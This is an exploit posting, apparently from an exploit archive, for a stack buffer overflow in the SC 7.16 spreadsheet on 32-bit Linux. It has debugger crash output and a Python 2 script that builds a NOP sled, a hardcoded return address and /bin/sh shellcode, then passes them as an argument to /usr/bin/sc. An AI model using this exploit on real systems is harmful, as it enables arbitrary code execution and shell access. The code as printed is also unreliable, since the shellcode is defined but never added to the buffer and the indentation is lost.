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SC 7.16 Buffer Overflow

SC 7.16 Buffer Overflow
Posted Mar 12, 2018
Authored by Juan Sacco

SC version 7.16 suffers from a stack-based buffer overflow vulnerability.

tags | exploit, overflow
MD5 | f31013dba0290d48f00a17b2a876d39b

SC 7.16 Buffer Overflow

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# Exploit Author: Juan Sacco - http://www.exploitpack.com
<jsacco@exploitpack.com>
# Bug found using Exploit Pack - Local fuzzer feature.
#
# Tested on: GNU/Linux - Kali Linux
# Filename: pool/main/s/sc/sc_7.16-4+b2_i386.deb
#
# Description: SC v7.16 is prone to a basic stack-based buffer overflow
# vulnerability because the application fails to perform adequate
# boundary-checks on user-supplied input.
#
# An attacker could exploit this issue to execute arbitrary code in the
# context of the application. Failed exploit attempts will result in a
# denial-of-service condition.
#
# Vendor homepage: SC v7.16 -
http://www.ibiblio.org/pub/Linux/apps/financial/spreadsheet/!INDEX.html
#
#
#[----------------------------------registers-----------------------------------]
#EAX: 0x0
#EBX: 0x41414141 ('AAAA')
#ECX: 0x42 ('B')
#EDX: 0x1
#ESI: 0x41414141 ('AAAA')
#EDI: 0x41414141 ('AAAA')
#EBP: 0x41414141 ('AAAA')
#ESP: 0xbfffee30 --> 0xbffff100 --> 0xb7fd9000 (jg 0xb7fd9047)
#EIP: 0x41424344 ('DCBA')
#EFLAGS: 0x10282 (carry parity adjust zero SIGN trap INTERRUPT
direction overflow)
#[-------------------------------------code-------------------------------------]
#Invalid $PC address: 0x41424344
#[------------------------------------stack-------------------------------------]
#0000| 0xbfffee30 --> 0xbffff100 --> 0xb7fd9000 (jg 0xb7fd9047)
#0004| 0xbfffee34 --> 0x1
#0008| 0xbfffee38 --> 0x0
#0012| 0xbfffee3c --> 0x0
#0016| 0xbfffee40 --> 0xf63d4e2e
#0020| 0xbfffee44 --> 0xb7fe4bf9 (<do_lookup_x+1689>: add esp,0x20)
#0024| 0xbfffee48 --> 0x1
#0028| 0xbfffee4c --> 0x1
#[------------------------------------------------------------------------------]
#Legend: code, data, rodata, value
#Stopped reason: SIGSEGV
#0x41424344 in ?? ()
#gdb-peda$ backtrace
##0 0x41424344 in ?? ()
##1 0xbffff100 in ?? ()
#Backtrace stopped: previous frame inner to this frame (corrupt stack?)
#gdb-peda$
#
#==2332==
#==2332== Jump to the invalid address stated on the next line
#==2332== at 0x41424344: ???
#==2332== Address 0x41424344 is not stack'd, malloc'd or (recently) free'd
#==2332==
#==2332==
#==2332== Process terminating with default action of signal 11 (SIGSEGV)
#==2332== Access not within mapped region at address 0x41424344
#==2332== at 0x41424344: ???
import subprocess
import os

buffersize = 1052
nopsled = "\x90"
# Shell
shellcode = "\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"
eip = "\x10\xf0\xff\xbf"
buffer = nopsled * (buffersize-len(shellcode)) + eip

try:
subprocess.call(["/usr/bin/sc", buffer])
except OSError as e:
if e.errno == os.errno.ENOENT:
print "SC binary not found!"
else:
print "Error executing exploit"
raise

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